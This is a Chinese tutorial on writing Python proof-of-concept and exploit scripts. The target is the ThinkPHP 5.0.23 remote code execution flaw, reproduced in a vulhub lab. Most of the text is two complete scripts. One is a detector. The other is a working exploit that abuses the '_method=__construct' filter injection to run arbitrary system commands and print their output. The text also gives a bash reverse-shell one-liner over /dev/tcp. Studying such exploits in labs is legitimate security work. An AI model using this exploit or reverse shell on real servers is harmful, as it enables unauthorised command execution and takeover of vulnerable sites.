本篇文章记录的是Python编写poc和exp的知识。
一、poc和exp的区别
poc
- 漏洞验证
exp - 漏洞利用
他们两个的本质区别是使用的payload
不同 , 比如我一个远程命令执行的漏洞 , 当我的payload是 id/whoami这样的命令时 , 那么我整个脚本或者工具 , 就是poc , 因为我只是让他执行一下简单的系统命令来判断目标是否存在这样的漏洞 , 如果我的payload是一串 反弹shell的系统命令
如/bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1
, 那么我整个工具就是一个exp , 可能这个poc和exp其他的代码都一模一样 , 只有要执行的命令 , 也就是这个命令 , 即 payload 不同 , 决定了这个脚本是poc还是exp
二、编写thinkphp5 rce的poc
环境自己使用vulhub搭建
cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
使用 argparse 模块接收用户参数 , 加上banner信息
import argparse
import textwrap
import requests
import sys
requests.packages.urllib3.disable_warnings()
def main(url, func="phpinfo"):
# 1.发请求
full_url = f"{url}/index.php?s=captcha"
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.0.60:8080",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": "http://192.168.0.60:8080/index.php?s=captcha", "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close"}
data = {"_method": "__construct", "filter[]": f"{func}", "method": "get", "server[REQUEST_METHOD]": "-1"}
try:
response = requests.post(full_url, headers=headers, data=data,verify=False, timeout=5, allow_redirects=False)
except Exception:
print(f"[-]{url} 请求失败")
sys.exit(1)
# 2.判断是否存在漏洞
if response.status_code == 200 and "PHP Extension Build" in response.text:
print(f"[+]{url} 存在远程代码执行漏洞")
else:
print(f"[-]{url} 不存在远程代码执行漏洞")
if __name__ == '__main__':
banner = """
_ _ _ _ _ ____
| |_| |__ (_)_ __ | | ___ __ | |__ _ __| ___| _ __ ___ ___
| __| '_ \| | '_ \| |/ / '_ \| '_ \| '_ \___ \ | '__/ __/ _ \\
| |_| | | | | | | | <| |_) | | | | |_) |__) | | | | (_| __/
\__|_| |_|_|_| |_|_|\_\ .__/|_| |_| .__/____/ |_| \___\___|
|_| |_|
version: 0.0.1
author: xxx
"""
print(banner)
# 使用argparse去解析命令行传来的参数
parser = argparse.ArgumentParser(description="thinkphp5 rce poc",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''example:
python3 tp5poc.py -u http://192.168.1.108
'''))
# 添加参数
parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")
# 把参数的值解析到对象中
args = parser.parse_args()
main(args.url)
三、编写thinkphp5 rce的exp
使用 argparse 模块接收用户参数
import argparse
import textwrap
import requests
import sys
requests.packages.urllib3.disable_warnings()
def main(url, cmd):
# 1.发请求
full_url = f"{url}/index.php?s=captcha"
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.0.60:8080",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": "http://192.168.0.60:8080/index.php?s=captcha", "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close"}
data1 = {"_method": "__construct", "filter[]": "phpinfo", "method": "get", "server[REQUEST_METHOD]": "-1"}
data2 = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": f"{cmd}"}
try:
response1 = requests.post(full_url, headers=headers, data=data1,verify=False, timeout=5, allow_redirects=False)
response2 = requests.post(full_url, headers=headers, data=data2,verify=False, timeout=5, allow_redirects=False)
except Exception:
print(f"[-]{url} 请求失败")
sys.exit(1)
# 2.判断是否存在漏洞
if response1.status_code == 200 and "PHP Extension Build" in response1.text:
print(f"[+]{url} 存在远程代码执行漏洞")
# 3.回显命令执行的结果给用户
res = response2.text.split("<!DOCTYPE html>",1)[0].strip()
print(f"[+]{cmd}命令执行的回显为:\n{res}")
else:
print(f"[-]{url} 不存在远程代码执行漏洞")
if __name__ == '__main__':
banner = """
_ _ _ _ _ ____
| |_| |__ (_)_ __ | | ___ __ | |__ _ __| ___| _ __ ___ ___
| __| '_ \| | '_ \| |/ / '_ \| '_ \| '_ \___ \ | '__/ __/ _ \\
| |_| | | | | | | | <| |_) | | | | |_) |__) | | | | (_| __/
\__|_| |_|_|_| |_|_|\_\ .__/|_| |_| .__/____/ |_| \___\___|
|_| |_|
version: 0.0.1
author: xxx
"""
print(banner)
# 使用argparse去解析命令行传来的参数
parser = argparse.ArgumentParser(description="thinkphp5 rce exp",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''example:
python3 tp5exp.py -u http://192.168.1.108 -c whoami
'''))
# 添加参数
parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")
parser.add_argument("-c", "--cmd", dest="cmd", type=str, help="input a cmd",default="id")
# 把参数的值解析到对象中
args = parser.parse_args()
main(args.url,args.cmd)